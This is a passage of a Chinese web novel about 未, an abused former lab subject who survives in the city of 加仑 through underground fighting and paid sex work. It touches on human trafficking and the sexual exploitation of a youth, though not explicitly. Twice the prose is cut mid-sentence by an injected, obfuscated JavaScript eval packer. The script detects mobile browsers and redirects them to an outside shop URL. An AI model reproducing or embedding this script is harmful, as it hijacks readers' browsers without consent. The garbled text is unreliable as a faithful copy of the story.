这个推论让未感到一阵强烈的恶心和晕眩。它像一把钝刀,缓慢地切割着他早已麻木的神经。将施加痛苦者视为某种意义上的帮助者,这是一种何其扭曲、何其可怕的逻辑!这简直是博士那套正确性悖论最恶毒的延伸和验证。 不。 未几乎是惊恐地、用尽全力地将这个念头掐灭,如同掐灭一簇即将引燃易燃物的火星。不能这样想。绝对不能。 他不能允许自己滑入那个深渊——将施虐者的行为进行合理化,甚至从中寻找益处。那将是对自我最彻底的背叛,是将灵魂最后一点残渣都献祭给那个制造了所有痛苦的源头。博士所做的一切,无论带来了何种间接的、扭曲的生存优势,其本质都是错的,是罪恶的,是不可原谅的。这一点,必须像铁律一样钉死在他的认知里。 博士没有帮他。博士只是创造了他这个工具,然后这个工具恰好在这片烂泥潭里,以扭曲的方式,还能勉强使用而已。这中间,没有恩情,只有因果,只有冰冷的、令人作呕的巧合。 他将注意力强行拉回现实,感受着俱乐部储藏室门外传来的、模糊的喧嚣和震动。怀沙的烟味似乎还残留在这片狭小的空间里。加仑城依旧在它的轨道上运行,冷漠而喧嚣。他需要思考的是下一顿食物在哪里,是如何在下一场表演中少断一根骨头,是如何避开雷蒙德那伙人的视线,是如何…在这无尽的循环中,维持着这具行尸走肉般的躯体,继续存在下去。 关于博士的思绪,被重新压回记忆的最深处,连同那份寒意与悖论,一起封存。有些门,不能打开。有些问题,不能深究。否则,那惨白的实验室灯光,将永远如影随形,将他现在所处的这片肮脏阴影,也彻底染上同样的、令人绝望的颜色。他承受得起痛苦,却未必承受得起这种…关于自身存在根源的、彻底的虚无与荒谬。 10. 【五】 像一块被流水经年累月冲刷的石头,未虽然依旧沉默、依旧麻木,但他那被无数死亡和痛苦磨砺得近乎本能的感觉,还是让他逐渐摸清了加仑这座城市混乱表皮下的、粗糙而实用的生存脉络。 ┌─────┬─────┐ │ 商业区 │ 教堂 │ ├─────┼─────┤ │ 商业区 │ 黑市 │ └─────┴─────┘ │ 基因至上酒馆 │ └───────────┘ ↓(雪原方向) 这座城市,乍一看毫无章法,各种低矮歪斜的建筑、突兀耸起的金属结构、以及散发着不同气味和噪音的区域胡乱地拼接在一起,如同一个巨大的、患有精神分裂症的机械造物。但看得久了,未发现,它大体上可以被粗暴地划分为两种核心地带,以及围绕着这两种核心形成的混合区域。 一边是商业—教堂的结合体。这并非指教堂本身在做买卖,而是指以教堂及其影响力为核心,辐射开的一片相对“有序”的区域。另一边则是商业—黑市的纠缠。这里的商业更加赤裸,与地下世界的规则紧密相连。 那个让他吃过无数次苦头的狼耳男子雷蒙德,其盘踞的基因至上酒馆,位置很微妙。它并不在加仑城官方认定的护罩边界之内,而是孤零零地杵在边界线之外,那片风雪与城市喧嚣交界的缓冲带上。然而,它却又同时与城内左右两边的势力都有着千丝万缕的联系。未隐约感觉到,那片区域似乎由某种更具组织性的□□力量管辖,许多不那么上台面但又需要一定客流和秩序的商户都聚集在那里,形成了一种独特的、法外之地的集市。雷蒙德在那里,更像是一个地头蛇。 而他目前栖身的、怀沙所在的地下俱乐部,则位于城市地图的右下角,一片典型的、深入黑市腹地的区域。未后来才慢慢搞清楚,怀沙并非这个擂台的主理人,他只是一个权限相对高一些的小组长,负责管理像未这样的沙包,安排日常的表演和部分真对抗赛,以及处理一些相关的杂务。这个俱乐部,只是庞大黑市体系中的一个组成部分。 教堂,那座让他感到生理不适的大寂静教堂,则占据了城市右上方的区域。并非教堂本身的建筑群有多么庞大到覆盖整个区域,而是指越过外围那些属于平民或低级信徒的杂乱建筑后,内部的核心区域是专属于神职人员和更高阶信徒的居住和活动空间。那里对于未这样的“排斥体”来说,是一道无形的禁区。 通过一次次被动或主动的探索,未发现,如果他想相对安全地在这座城市里移动,最好的活动范围就是黑市的边缘地带,以及靠近教堂势力范围的外围区域。 在黑市这边,他逐渐理解了更多规则。他参与的那个血腥擂台,官方名称其实就是简单粗暴的“擂台日结”。未一开始在心里将其称为“虐待日结”,觉得这更符合实质。但后来,或许是麻木了,或许是为了在心理上稍微拉开一点距离,他也慢慢跟着怀沙和其他人的说法,称之为“擂台日结”了。 他们支付给他的,是一种沉甸甸的、边缘有些磨损的金属硬币,被称为“信用点”。未观察到,这种信用点似乎在整个加仑城都在流通。他猜测,这玩意儿可能是通过左边那条相对正规些的商业链,教会和黑市本身共同维持流转,从而达到与教会经济体系某种微妙平衡的货币。因为他曾远远看到过几个穿着神职人员长袍的人,腰间也挂着鼓囊囊的钱袋,里面传来的硬币碰撞声,和他辛苦挨打换来的信用点声音几乎一样。这让他模糊地意识到,这座城市的表层与底层,在经济的血脉上是相通的。 他还发现了一个有趣的现象。最初他走在街上,尤其是那些看起来稍微“像样”一点的大路上时,总是提心吊胆,害怕被盘查、被驱逐,或者遭遇无端的暴力。但很快他意识到,除了心理上的紧张,他走在某些特定的大路上时,身体会产生一种熟悉的头晕和恶心感,症状与他试图靠近教堂本体时一模一样,只是程度稍轻。 这个发现让他得出了一个推测:那些让他产生不适反应的大路和区域,本质上都属于教堂“秩序力场”的覆盖范围。在这种范围内,城市守卫的巡逻会更频繁,当街发生的暴力事件会少很多(至少表面上是如此),维持着一种压抑的安全。而那些让他感觉正常、不会头晕的地方,则不属于教会的直接保护范围,但那里也并非无法无天,而是遵循着黑市或其他地下势力自己的、更加赤裸和残酷的规则。 教会的具体规则未不清楚,他也难以去弄懂,那力场本身就让他望而却步。但黑市的规则,他通过血肉的教训摸到了一些门道:在这里,只要你肯豁得出去——无论是豁出命去挨打,还是豁出尊严去做那些不堪的工作,并且善于察言观色,知道哪些人能惹,哪些人不能惹,知道什么时候该装死,什么时候该拼命,那么获取信用点的途径就会多一些,生存的概率也会大一点。 他也明白了自己初来乍到时,为何会遭遇那么多无缘无故的恶意:是因为他没有上交保护费。在这片区域活动,无论是摆摊、乞讨、还是像他之前那样试图小偷小摸,都需要向掌控这片区域的地下势力缴纳一定的费用,以获得默许的存在权。他当初身无分文,自然成了人人可以踩上一脚的“非法滞留者”。而现在,怀沙替他交了这笔钱,因为他现在算是怀沙的人。这层脆弱的关系,像一张薄薄的油纸,暂时遮挡了一部分直接泼向他的恶意,但也将他更紧地绑在了怀沙这条船上。 加仑城还有另一个显著特点:很多真正的业务都发生在地下。他所在的地下擂台只是其中之一。他还听说过,有地下的交易中心,专门买卖一些来路不明或违禁的物品;有地下的信息贩子,出售各种秘密和情报;甚至……还有疑似与器官贩卖、人口转运相关的、更加黑暗的地下行业。每当听到这些模糊的传闻,未都会立刻强迫自己停止思考,不敢细想。那是一片他绝对不想、也没有能力涉足的深渊。光是活着,已经耗尽了他所有的力气和运气。 最后,是关于货币的另一个发现。他偶尔会听到怀沙在谈生意,或者对着某个通讯器说话时,会提到一个词——“茉币”。从语境判断,这似乎是一种不同于信用点的货币。未偷偷观察过,有时候某些看起来更大桩、或者更隐秘的委托,交易双方会直接使用茉币来结算,而且提起这种货币时,那些人的语气会不自觉地带上一点……不一样的东西,像是更郑重,或者说,更有面子。 未猜测,这个茉币应该比信用点更值钱,或者更保值,可能是用于更大额交易,或者在某些更高层面的圈子内流通的硬通货。信用点是他这种底层挣扎者用来购买食物、支付呼吸税、勉强维系生存的血汗钱,而茉币,则属于另一个他无法想象的世界。他依旧拿着他的信用点,计算着如何用最少的硬币换取最多的热量,如何在下一次呼吸税到期前凑够数目。茉币的世界离他太远,就像教堂尖顶上那片被护罩扭曲的天空,看得见,却永远触碰不到,也与他每日在泥泞中的挣扎无关。 …… 冰冷的现实如同擂台上对手沉重的拳头,一次次砸在未早已麻木的神经上,却终究无法彻底湮灭那点可悲的清醒。他意识到,在这座名为加仑的城市,尤其是在这暗无天日的地下擂台,有些鸿沟,并非依靠忍耐和练习就能跨越。 他观察过,那些能轻易将他击倒的对手,身上或多或少都萦绕着某种非自然的能量波动——那是魔法的痕迹。或许只是最粗浅的力量增幅,或许是一瞬间的速度爆发,甚至可能是某种干扰感知的微弱伎俩。在这没有规则,或者说规则就是“没有规则”的擂台上,这一点点的优势,就足以形成碾压。未的身体,哪怕锻炼到极限,也只是凡胎□□,如何能与那些超自然的力量抗衡?他可以想办法弄点劣质的武器,一把铁皮短刀,一根嵌着钉子的木棍,但这改变不了本质。如果一直赢不了,就无法获得额外的奖金,仅靠基础的“出场费”,他永远无法攒下信用点。 怀沙确实罩着他,替他缴纳了呼吸税和这片区域的保护费,但这并非无偿。每一场擂台下来,未那微薄的收入都会被怀沙以各种名目扣除——保护费、管理费、场地损耗费、呼吸税预扣……林林总总,最后能落到未手里的,往往只剩下五个信用点左右。这五个信用点,通常只能换取一小袋提供基础热量的合成蛋白块。他需要这个,因为怀沙提供的食物仅仅能让他维持在不饿死的边缘,而擂台带来的伤痛,怀沙是从不管治疗的。他必须为自己预留一点购买最廉价止血粉或镇痛剂的可能性。所以,信用点在手中停留的时间,短暂得如同擂台上他短暂的“抵抗”。 他也曾尝试寻找其他出路。地下赌场?那里需要本钱,而他连一个信用点的赌资都掏不出,况且那里龙蛇混杂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848495|191422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,陷阱远比机会多。违禁品交易?那需要门路和胆量,他这种毫无背景、连魔法都不会的返祖者,进去恐怕连骨头都剩不下。唯一能进去的,只剩下那些灯光暖昧的场所了。在那里,他至少能作为商品被摆上货架,尽管大多数时候,无人问津。 偶尔有客人点他,也多半是带着一种猎奇的心态,想看看这个毫无能量波动、被称为“返祖崽子”的存在,与那些经过义体改造或拥有微弱魔法的同类有何不同。未并不将这些行为视为胁迫,在他的认知里,这只是一种交换,用身体去换取生存所需的资源,与在擂台上挨打并无本质区别,甚至可能……更轻松一些?他曾模糊地记得,在博士的实验室里,在某些特定情况下,博士也会对他做类似的事情,那些事情似乎……并不总是伴随着痛苦,有时甚至会带来一些难以言喻的、生理上的反应。博士称之为“观察神经内分泌系统对特定刺激的非创伤性反馈”。 于是,未将一丝微弱的希望寄托于此。他想,如果运气好,遇到慷慨的客人,在交易过程中直接多给他一些信用点,避开场所的抽成再加上怀沙的名头,至少能保证他不会在这里被额外欺凌,或许他能多弄到一点钱。如果有客人愿意带他离开这个地方,哪怕只是暂时的,处境也可能比被直接卖到某个未知的黑矿或成为器官供体要好得多。那样,他或许就能获得第一笔真正的资金,哪怕少得可怜。 他知道这概率渺茫得如同中彩票。他的点单率低得可怜,来的客人也大多口味独特,并非为了尋常的慰藉。但他还是去了,抱着一种近乎绝望的决心。 然而,当他真正再次踏入那些场所,褪去衣物,将自己呈现在那些或好奇、或鄙夷、或带着某种施虐欲的目光下时,他很快发现了一个之前被自己忽略的问题。 在擂台上的时候,他固然没有尊严,但那痛苦是直接的、粗暴的,来自于外部的击打。他可以蜷缩起来,用麻木去包裹核心,将意识抽离。但在这里,他需要配合。他需要做出反应,需要发出声音,需要调动起那些早已枯萎的情感神经,去模拟出一种他根本感受不到的愉悦或投入。 这种感觉,比擂台要难捱得多。 他记得第一次带着生死之誓进去时,那本诡异的书似乎对某个客人的粗暴行为产生了反应,书页猛地合拢,夹伤了对方的手指,引发了一场不小的麻烦。自那以后,未每次去这些地方,都会提前将那本猩红的书册锁在俱乐部储藏室的小柜子里。没有了书的干扰,他努力地、按照自己理解的“正确方式”去配合。 但是,没有用。 真的一点愉悦的感觉都不存在。 博士实验室里那些模糊的、关于非创伤性刺激的记忆,在此刻显得如此遥远和虚假。此刻的感受,只有一种深沉的、黏腻的厌恶,一种灵魂被强行剥离□□、又被塞回一具空洞躯壳的钝痛。这不仅是□□的折磨,更是对精神更深层次的凌迟。他感觉自己每次踏入这里,就好像把某种东西给随手扔掉了。那东西,或许比擂台上流失的尊严,还要贵重一些。 奇怪的是,当他越是强迫自己投入,越是努力表现出那种扭曲的配合时,有些原本态度尚可的客人,反而会在离开时,偷偷地、迅速地将一小把信用点塞到他手里,眼神中带着一种未无法理解的复杂情绪,或许是怜悯,或许是别的什么。而那些一看就吝啬或充满恶意的客人,给的钱反而会更少,甚至试图赖账。 这种微妙的反馈让他困惑,但现实是,靠着那极少数的、偷偷塞过来的小费,他竟然真的零零碎碎地攒下了一点钱。不多,可能去两三次这种被他内心标记为R交易的地方,才能偷偷攒下相当于一次擂台收入的信用点——大概十几个。 一次R交易,场所明面上支付给他这个档次的“员工”的报酬大约是十个信用点。然后,场所或中介会抽走六成左右,最终落到未手里的,只有四个。这四个信用点,和他擂台收入结余的那五个一样,几乎立刻就要被用于补充体力或处理轻伤,根本无法积攒。 但是,那偷偷塞过来的二十个信用点,如果藏得好,就完全属于他自己了。这二十个信用点,像黑暗中偶尔闪烁的、冰冷而微弱的磷火,指引着一条更加屈辱、却可能有效的路径。未不知道这条路会通向哪里,他只知道,在擂台的死循环和R交易的精神凌迟之间,他被迫选择了后者,作为他攫取那渺茫希望的、唯一看似可行的方式。 11. 【五】间章 在这座名为加仑的城市,尤其是在这暗无天日的地下擂台,有些鸿沟,并非依靠忍耐和练习就能跨越。理智为他规划了一条看似“最优”的路径。他了解到,在黑市,接取那些报酬更高、信息更关键的委托,并非只有通过怀沙的推荐或打赢一场不可能的擂台赛这一条路。还有一种方式——购买委托资格。某些掌握着委托渠道的中间人,会出售这种名额,价格不菲,但可以绕过实力认证和背景审查。只要支付足够的信用点,就能获得一个机会。 这对于未来说,像黑暗中的一道缝隙。他不怕死,甚至可以将死亡转化为时间上的便利——比如,在接受委托前,他可以反复死亡回溯,去探查任务地点的情况、巡逻规律、潜在危险,用无数次失败换取最终一次的成功。这种能力,在信息至关重要的委托中,是无价的。这可能是他真正摆脱当下泥沼,获取第一桶金,接触到更多信息和机会。 而获取这笔“启动资金”最快的方式,就是继续R交易,并且指望那些偶尔出现的、会偷偷塞给他额外小费的客人。他给自己定下了一个目标:攒够购买最低等级委托资格所需的信用点。这个数字,对他而言如同天文数字,但理论上是可行的,只要他足够努力,足够忍耐。 然而,理论是冰冷的,身体和精神的反应却是灼热的。 未发现自己完全受不了R交易。 这种受不了并非初次接触时的新鲜恐惧,也非生理上的剧烈排斥。这是一种经年累月、如同水滴石穿般缓慢侵蚀后,终于无法再自欺欺人的彻底崩塌。他做这个已经很久了,久到身体早已熟悉流程,久到他能像设置程序一样控制自己的肌肉做出“正确”的反应。除了某次不幸感染了某种难以启齿的疾病,他不得不选择自杀回溯来重置身体状态,并刻意避开那几天的工作之外,他一直在强迫自己进行下去。但心里,始终无法接受。 以前,他只是模糊地觉得这东西毫无愉悦感,像完成一项枯燥又令人不适的任务。现在,他可以无比肯定地告诉自己:没有愉悦感,一点也没有。只有一种深沉的、黏腻的、仿佛灵魂被污秽之物浸透的恶心感。这东西像一场表演,他需要调动面部肌肉,发出声音,做出姿态,去模拟一种他根本感受不到、甚至理解不了的情绪。 然而,这种表演,与他之前在擂台上配合怀沙进行的那种表演截然不同。擂台上的表演,是虚假的受伤,虚假的惨叫,虽然同样屈辱,但未很清楚,那是在用虚假的痛苦换取相对真实的生存资源,是一种扭曲的等价交换,他甚至能从中找到一丝利用规则、愚弄观众的冰冷算计。可R交易中的表演,他投入的是真实的、活生生的自己——他的身体,他被迫调动的反应,他必须呈现出的、哪怕虚假的投入。他并没有损失有形的财产,但不知道为什么,每一次结束后,他都感觉像做了一笔彻头彻尾的亏本买卖。他仿佛把某种看不见、摸不着,却比信用点、比暂时的安全更重要的东西,给廉价典当了出去,而且赎不回来。那种空洞和损耗,比擂台上断几根骨头更让他难以承受。真的一点愉悦感都没有。只有一种缓慢的、持续的精神凌迟。 当然,并非每一次经历都完全相同。有一次,未接待了一个沉默寡言的客人。那是个手指粗糙、带着机油和金属碎屑气味的人,像是个底层工匠。他几乎不说话,只是默默地进行着交易,动作甚至算得上小心,没有粗暴,没有额外的要求。这种平静让未感到一种罕见的轻松。他甚至发现自己身体不再那么紧绷,一种近乎“高兴”的情绪微弱地浮现——因为这样的客人真的很少。他难得地、几乎是自发地配合着,整个过程异常顺利,没有往常那种强烈的反抗情绪在内心翻涌。结束后,工匠按标准支付了费用,甚至没有多看未一眼就离开了。未躺在那里,感受着一种劫后余生般的平静,这已经是他能期望的最好结果了。 但更多的时候,是另一种煎熬。比如那次,一个看起来心事重重的人点了未。对方似乎并没有太多身体上的兴趣,反而开始喋喋不休地倾诉,抱怨工作的压力、上司的苛刻、生活的无望。未安静地听着,这是博士训练过的项目之一——精准捕捉对方话语中的情绪点,并给出“合适”的反应,以维持对话或实验的进行。他凭借被博士塑造出的本能,适时地点头,发出表示理解的单音节。 然而,那人说着说着,情绪激动起来,他抓住未的肩膀用力摇晃:“你明白吗?你肯定明白这种感受,对吧?活得像条狗一样!” 未立刻给出了训练有素的回应,一个带着共情和悲伤的眼神,一句低低的“我明白”。但这似乎激怒了对方。男人猛地推开他,脸上浮现出被冒犯的恼怒:“你明白什么?这我要的不是这个!” 他想要什么?真实的痛苦共鸣?更激烈的情绪反馈?未只觉得荒谬。他无法拿出真正的共情,因为他深知自己才是需要关爱的那个。能给出这种经过精密计算、符合情境的正确反应,已经是他竭尽了他的全力。最终,该发生的还是发生了,但未只觉得比平时更加痛苦,他完全无法理解对方到底想要什么,也完全无法产生任何对方期待中的“感觉”。 也有一些情况,在技术上反而更顺利。他曾遇到一位客人,似乎非常享受掌控的过程。他喜欢下达命令,喜欢看未按照他的指令做出反应,喜欢那种一切尽在掌握的感觉。 客人命令他跪下,他跪下。 命令他抬头,他抬头。 命令他做出某种表情,他努力调动肌肉。 命令他发出某种声音,他尝试。 这模式意外地让未感到一丝舒适,因为它与博士的方式太像了——明确的指令,绝对的服从。他准确执行着每一个命令,整个过程高效而完美。客人似乎很满意这种绝对的掌控感,结束后,不仅支付了标准费用,还额外给了他一笔相当丰厚的小费,比未想象中要多得多。 未拿着那沉甸甸的信用点,却感到一阵茫然。技术上是顺利的,报酬是丰厚的,这甚至是理智规划中最理想的情况。但他依旧没有感受到任何愉悦,一丝一毫都没有。这和与博士在一起时那种…混杂着恐惧、依赖、被塑造的奇怪感觉完全不同。在这里,即使模式相似,他也清楚这只是一场纯粹的交易,一种更高级别的、针对他服从性的利用。对方满意的是对一件工具的如臂指使,而非博士那种带着审视、评估,甚至某种未无法理解的、复杂目的的塑造。他不知道具体哪里不一样,只是内心深处清晰地知道,就是不一样。那笔丰厚的小费,像冰冷的金属,无法温暖任何东西,反而提醒着他,他只是一件性能良好的工具。 这些形形色色的经历,一次次印证又模糊着未内心的感受。R交易对他而言,似乎总是一场亏本的买卖。即使偶尔有技术上的顺利或意外的高收益,也无法填补那种内在的空洞和消耗。 …… 变化发生得悄无声息,却又带着一种不容置疑的实质感。怀沙那位于俱乐部上方的公寓,并非他个人所有,据零星的对话判断,他似乎拥有这一整层的居住权,并且需要负担某些家人或朋友的生活。起初,未的栖身之所是地下储藏室冰冷坚硬的地板,与拖把、废弃的器械零件和弥漫不散的霉味为伴。但最近,怀沙不知是出于何种考量,动手清理了公寓入口旁一个原本堆满杂物的狭窄房间。 那甚至不能算是一个完整的房间,更像是一个被隔出来的、放大了的储物凹室。怀沙清走了里面大部分锈蚀的金属件和破旧的箱子,腾出了一点勉强能容纳一个人的空间。他扔给未一个看起来还算厚实的旧床垫,边缘有些磨损,但比起直接接触冰冷的地面,已是天壤之别。接着,他又塞给未一套褪色发硬、带着淡淡皂角味和岁月痕迹的床上用品,显然是淘汰下来的旧物。 “以后睡这儿,”怀沙的语气像是在安排一件物品的摆放,“动静小点,别吵。” 这里确实比地下暖和,空气也少了那股阴湿的腐气。未被允许将他那少得可怜的财产——几件破旧衣物,小心翼翼藏起来的少量信用点,以及那本须臾不敢离身的生死之誓放进一个怀沙找来的、边缘有些塌陷的硬纸箱里。这个纸箱,被放在了床垫的角落,成了他在这片狭小空间里,唯一能标识“所有权”的象征。 他算是有个固定的、能遮风挡雨、相对卫生的住处了。但家这个字眼,从未在他脑海中浮现过。这里只是一个位置不同的容身之所,如同实验室里不同的观察笼,或俱乐部里不同的休息角落,其本质并未改变。他依旧是依附者,是暂居客,这里的每一寸空气都提醒着他,这一切的给予随时可能被收回。 更出乎意料的馈赠接踵而至。某天,怀沙随手扔给未一个小东西,那是一个略显陈旧的金属徽章,造型朴素,边缘有些许磨损,上面刻着一个未无法解读的简化符号,隐约能感觉到一丝微弱的、非自然的能量波动。 “拿着,小子给的,”怀沙叼着烟,含混地说,他口中的“小子”大概是指他的孩子,“他不要了。给你戴着玩,丢了也别来找我。” 未接过徽章,冰凉的金属触感让他指尖微颤。他本能地察觉到这徽章的不同寻常。当他试探性地,将徽章别在自己那件最破旧、但还算干净的衣服上,再次走向那座始终排斥他的大寂静教堂时,奇异的事情发生了。 那股如同实质墙壁般、令他头晕恶心、胃部翻搅的排斥力场,依然存在,但强度却显著减弱了。仿佛一层厚重的棉絮包裹了他,虽然依旧憋闷,却不再有那种尖锐的、仿佛要将他灵魂撕裂的冲击。他可以忍受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848496|191422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着这种持续的不适,勉强踏入教堂的外围区域了。 这枚被孩子嫌弃、被怀沙随意转赠的旧徽章,对未而言,其价值瞬间超越了以往他获得的所有信用点的总和。它是一把钥匙,一把打开了一片此前对他完全封闭的、相对“安全”区域的钥匙。 于是,未的生活轨迹悄然发生了变化,形成了一条新的、固定的路线。 清晨和中午,他依然是那个地下擂台上沉默的沙包,承受着击打,换取那五个信用点的微薄收入和怀沙提供的、仅能果腹的食物。身体的伤痛是日常,淤青和裂口如同永远不会褪去的纹身。 但到了下午,当擂台的喧嚣暂歇,他会离开俱乐部,走向那座曾经可望不可即的教堂。凭借那枚徽章,他得以进入一个被称为“外来人员自习区”的地方。这里像是一个巨大厅堂的延伸部分,摆放着一些简陋但整洁的长桌和椅子,光线透过彩色的玻璃窗,投下斑驳而安静的光影。有一些看起来像是低级信徒、寻求庇护的流浪者,或者仅仅是来此寻求片刻安宁的普通人在此静坐、阅读或仅仅是发呆。未不知道这里具体是做什么的,他也看不懂那些晦涩的教义典籍。他只知道,在这里,没有人会无故驱赶他,没有直接的暴力威胁,空气中弥漫着一种压抑却稳定的秩序感。 他会找一个最角落、光线最暗淡的位置坐下,拿出偷偷购买的、最廉价的止血药粉或缓解淤伤的膏体,小心翼翼地涂抹在伤口上。药粉刺激伤口的痛楚,在这里似乎也变得可以忍受。他有时会趴着小睡片刻,这里的安静与俱乐部储藏室的逼仄、以及R交易场所的污浊气息截然不同。他不太愿意在怀沙给他安排的那个杂物间里停留太久,那里总弥漫着怀沙的烟味和一种无形的、被监控的压力,尽管怀沙未必真的在意他。教堂的自习区,成了他喘息和修复□□的临时避风港。 就是在这样的下午,他看到了那个主持自习区的神职人员,并且因为距离的拉近和停留时间的延长,终于清晰地看到了他的样貌。那是一位肤色较深、仿佛常年沐浴在不同于加仑城灰暗光线的暖阳下的男性,一头雾蓝色的长发异常醒目,如同将黎明前最淡的雾霭凝结成了发丝,随意地束在脑后,几缕碎发垂落在颈侧。他戴着一副精致的金色细框眼镜,镜片后的眼神带着一种…未难以准确形容的温和,那是一种与实验室的冰冷、擂台的残酷、乃至怀沙的漠然都截然不同的质感。 他并非总是板着脸,步履匆匆,而是在桌椅间缓慢踱步,偶尔会停下来,为某个困惑的人低声解答问题,或者只是静静地擦拭一下桌面。他的动作舒缓,声音不高,带着一种奇异的安抚力量。未现在可以离得更近一些观察了,得益于那枚徽章削弱了力场的影响。他越看越觉得,这个神职人员的身形、那略显孤独的踱步姿态,都与之前他在墓地黄昏中多次遥遥瞥见的那个模糊身影,极其相似,现在终于对上了号——就是同一个人。 这个发现让未的心中泛起一丝微不可察的涟漪。那个在死亡安息之地徘徊的孤独身影,与这个在庄重教堂内维持着秩序、给予他人微小帮助的神职人员,竟然是同一个人?这其间似乎存在着某种矛盾,却又奇异地统一在这个身影之上。未依旧不敢靠近,不敢询问,他只是像一块沉默的石头,在角落的阴影里,默默地观察着,将这个新的信息碎片,连同那独特的雾蓝色长发和金色眼镜,存入他那混乱而庞杂的记忆库中。 这位神职人员似乎也注意到了这个总是蜷缩在角落、身上带着新旧伤痕、沉默得像是不存在的少年。有几次,当未正笨拙地给自己后背的淤青涂抹药膏时,眼角的余光瞥见那双穿着朴素布鞋的脚停在了不远处。未的身体瞬间僵硬,涂抹的动作停滞,准备承受可能的驱赶或质询。但那脚步只是稍作停留,便又悄然走开,仿佛只是无意间路过。有一次,未趴在桌子上浅眠,半梦半醒间感觉有人靠近,他猛地惊醒,看到那个雾蓝色的身影刚刚从他所处的这片区域转身离开,桌上似乎…多了一小杯温水。未尝了一口,是甜的。放了糖? 那杯水的存在本身,像一颗小石子,在他死寂的心湖里投下了微弱的、几乎难以察觉的波纹。 夜晚,则是另一重循环的开始。当教堂的钟声敲响,自习区关闭,未不得不离开那片短暂的安宁,重新投入加仑城夜晚的黑暗。他需要去那些灯光暖昧的场所继续他的工作。理智上,他知道这是目前获取额外信用点最高效的途径,尤其是怀沙替他缴纳了基础税费后。 三者循环往复,构成了一座新的、结构更为复杂的囚笼。那枚徽章打开了一扇窗,让他窥见了一丝不同的光线,甚至看到了一个具体而奇异的身影,却并未真正带他离开黑暗。怀沙给予的杂物间提供了一个稍好的物理坐标,却远非归宿。 12. 【五】间章2 似乎是有了一个相对固定、能遮风挡雨的角落,尽管它狭小、简陋且随时可能被收回,但这点微不足道的稳定,却像一颗投入死水中的石子,在未那近乎冻结的意识深处,漾开了一圈圈缓慢而持续的涟漪。他的理智,或者说,那种被博士以残酷方式烙印下的、对周遭环境进行分析和判断的能力,似乎在一点点地从长久的麻木与生存高压下挣脱出来,如同蛰伏的野兽,开始重新审视这片它被迫栖身的牢笼。 他总是不由自主地想起博士。不是怀念,而是一种冰冷的回溯。博士那些在施加痛苦时清晰陈述法律条文的场景,那些关于正确与错误的、在实验室微观环境下被严格执行的判例,尤其是关于人身依附危险性的严厉批评……这些记忆的碎片,如同幽灵般在他脑海中盘旋。博士要求绝对的服从,却又在特定情境下鼓励打破规则的智慧。这种矛盾,曾经是未无法理解的折磨,如今却像一根埋藏已久的引线,在特定的环境下开始隐隐发烫。 在怀沙的俱乐部,在那些灯光暖昧的场所,未见过太多彻底麻木的人。他们的眼神空洞,行动迟缓,像被抽走了灵魂的躯壳,只是依循着本能和习惯在移动。未理解他们,理解这种麻木是承受超越极限的痛苦后,大脑启动的自我保护机制,是一种精神的冬眠。但他发现自己做不到。无论身体承受多大的痛苦,精神被如何践踏,他的意识深处,总有一小片区域保持着令人痛苦的清醒。他知道自己在做什么,知道自己的处境是何等不堪,知道每一次妥协和忍受都在将他推向更深的深渊。这种清醒,如同一根永不熄灭的、微弱的毒焰,日夜灼烧着他,比纯粹的麻木要痛苦千百倍。 所以,他逼迫自己维持着一种机械的、不计代价的行动模式。这种模式并非源于某种积极向上的天性,而是源于一种极其强烈的、想要摆脱现状的求生本能。他像一只被困在玻璃罐里的昆虫,疯狂地、盲目地撞击着透明的壁垒,只为了那一点点可能存在的缝隙。无论是擂台上的忍受,还是夜晚工作的煎熬,都被他视为通向逃离的必经之路。他积攒每一个信用点,收集每一丝可能有用的信息,都是在为那个渺茫的未来铺垫,哪怕那个未来依旧模糊不清。 然而,环境也在不断提醒着他现实的残酷。怀沙给他住的那个杂物间隔壁,或者说正上方,夜深人静时,未常常能听到头顶传来模糊的哭声,有时是尖利的叫骂,有时是孩子压抑的抽泣,声音透过并不隔音的地板和墙壁渗下来,扭曲变形,听不真切具体内容,但那其中蕴含的痛苦和绝望,却如同实质的寒意,穿透一切阻碍,钻进未的骨髓里。他不敢细想那哭声的来源,不敢去猜测怀沙平静表象下究竟隐藏着什么。这声音让他下意识地与怀沙保持更远的距离,无论是物理上的,还是心理上的。他觉得这样挺好,维持着一种脆弱的、互不干涉的平衡。 另一个盘旋在他心头的疑问是关于擂台上的那些重伤者。俱乐部里从不缺少血腥,断骨、内出血、严重脑震荡都是家常便饭。但那些被打得奄奄一息、明显无法再工作的人,最后都去了哪里?未从未见过他们的后续。是像垃圾一样被丢弃了?还是被送往了某个他不敢细想的、更黑暗的归宿?怀沙对他那点微妙的优待,究竟是因为那次的救命之恩,还是仅仅因为他是一件极其耐用且省心的工具?未不敢肯定,也不愿深究,这些疑问像阴影一样潜伏在他心底。 平衡被打破在一个看似平常的日子。怀沙带着一个看起来比未还要瘦小、脸色苍白的男孩,来到了杂物间门口。男孩的眼神里充满了惊恐和戒备,像一只被逼到绝境的小兽。他的手腕上套着一个粗糙的铁环,连接着一根细铁链,铁链的另一端锁在了一根从墙壁伸出的、原本用来固定管道的金属扣上。 “他跟你住两天,”怀沙的语气依旧没什么起伏,指了指那个男孩,“你看好了,睡觉必须把门从里面锁好,别让他跑了。” 